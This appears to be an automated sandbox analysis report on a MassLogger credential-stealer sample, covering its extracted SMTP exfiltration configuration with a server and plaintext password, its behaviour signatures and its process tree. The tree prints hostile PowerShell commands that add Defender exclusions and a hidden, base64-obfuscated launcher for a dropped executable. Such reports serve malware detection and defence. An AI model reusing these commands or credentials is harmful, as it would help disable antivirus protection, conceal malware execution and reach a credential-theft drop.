Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
10/09/2026, 11:05
General
- Target ad83577e425dfb5496897d25e3e4e7de8d7e100f4b0eacf1266eb9f12898fac8.exe
- Size 965KB
- Sample260910-m63mxsvzes
- SHA256 ad83577e425dfb5496897d25e3e4e7de8d7e100f4b0eacf1266eb9f12898fac8
Malware Config
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
00-00-0000
-
host_password
@tf0794888229
-
host_port
587
-
host_receiver
result box: [email protected]
- host_sender
-
host_server
mail.atf-transformer.af
-
ssl_slate
False
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 49 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\ad83577e425dfb5496897d25e3e4e7de8d7e100f4b0eacf1266eb9f12898fac8.exe"C:\Users\Admin\AppData\Local\Temp\ad83577e425dfb5496897d25e3e4e7de8d7e100f4b0eacf1266eb9f12898fac8.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ad83577e425dfb5496897d25e3e4e7de8d7e100f4b0eacf1266eb9f12898fac8.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$yzxic2=3566;$0cz5ml=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$yzxic2=3566;$vsnpwd=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFBtLmV4ZQ==')));$oay1im=[System.Environment]::TickCount;& $0cz5ml -FilePath $vsnpwd"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Pm.exe"C:\Users\Admin\AppData\Roaming\Pm.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Pm.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
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Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_msnbrrqq.uzw.ps1
Pm.exe
memory/1560-10-0x0000000074E82000-0x0000000074E83000-memory.dmp
memory/1560-12-0x0000000008200000-0x00000000082B8000-memory.dmp
memory/1560-5-0x0000000005310000-0x00000000053AC000-memory.dmp
memory/1560-7-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/1560-6-0x00000000055B0000-0x00000000055D2000-memory.dmp
memory/1560-8-0x00000000067F0000-0x0000000006B4B000-memory.dmp
memory/1560-9-0x0000000007D40000-0x0000000007D62000-memory.dmp
memory/1560-27-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/1560-11-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/1560-4-0x00000000051B0000-0x00000000051BA000-memory.dmp
memory/1560-1-0x0000000000590000-0x0000000000688000-memory.dmp
memory/1560-2-0x0000000005830000-0x0000000005DEA000-memory.dmp
memory/1560-0-0x0000000074E82000-0x0000000074E83000-memory.dmp
memory/1560-3-0x00000000051C0000-0x0000000005252000-memory.dmp
memory/3816-30-0x00000299EA0A0000-0x00000299EA0C2000-memory.dmp
memory/4136-51-0x0000000006430000-0x000000000678B000-memory.dmp
memory/4136-55-0x00000000069F0000-0x0000000006A3C000-memory.dmp
memory/4136-56-0x0000000070F40000-0x0000000070F8C000-memory.dmp
memory/4136-59-0x0000000007C10000-0x0000000007CB3000-memory.dmp
memory/5020-39-0x0000000007270000-0x0000000007313000-memory.dmp
memory/5020-41-0x00000000073B0000-0x00000000073CA000-memory.dmp
memory/5020-26-0x0000000006260000-0x00000000062AC000-memory.dmp
memory/5020-13-0x0000000004B70000-0x0000000004BA6000-memory.dmp
memory/5020-14-0x00000000052E0000-0x000000000592A000-memory.dmp
memory/5020-22-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/5020-15-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/5020-34-0x0000000007010000-0x0000000007046000-memory.dmp
memory/5020-16-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/5020-35-0x000000006FF80000-0x000000006FFCC000-memory.dmp
memory/5020-38-0x0000000007250000-0x0000000007270000-memory.dmp
memory/5020-19-0x0000000005A10000-0x0000000005A76000-memory.dmp
memory/5020-40-0x00000000079F0000-0x000000000806C000-memory.dmp
memory/5020-25-0x0000000005CE0000-0x0000000005CFE000-memory.dmp
memory/5020-42-0x0000000007420000-0x000000000742A000-memory.dmp
memory/5020-43-0x0000000007620000-0x00000000076B6000-memory.dmp
memory/5020-17-0x00000000059A0000-0x0000000005A06000-memory.dmp
memory/5020-46-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/5192-47-0x0000000006CD0000-0x0000000006E92000-memory.dmp
memory/5192-48-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/5192-49-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/5192-18-0x0000000000400000-0x000000000041E000-memory.dmp
memory/5192-33-0x00000000069B0000-0x0000000006A00000-memory.dmp
memory/5192-23-0x0000000074E70000-0x000000007562C000-memory.dmp
memory/5192-24-0x0000000074E70000-0x000000007562C000-memory.dmp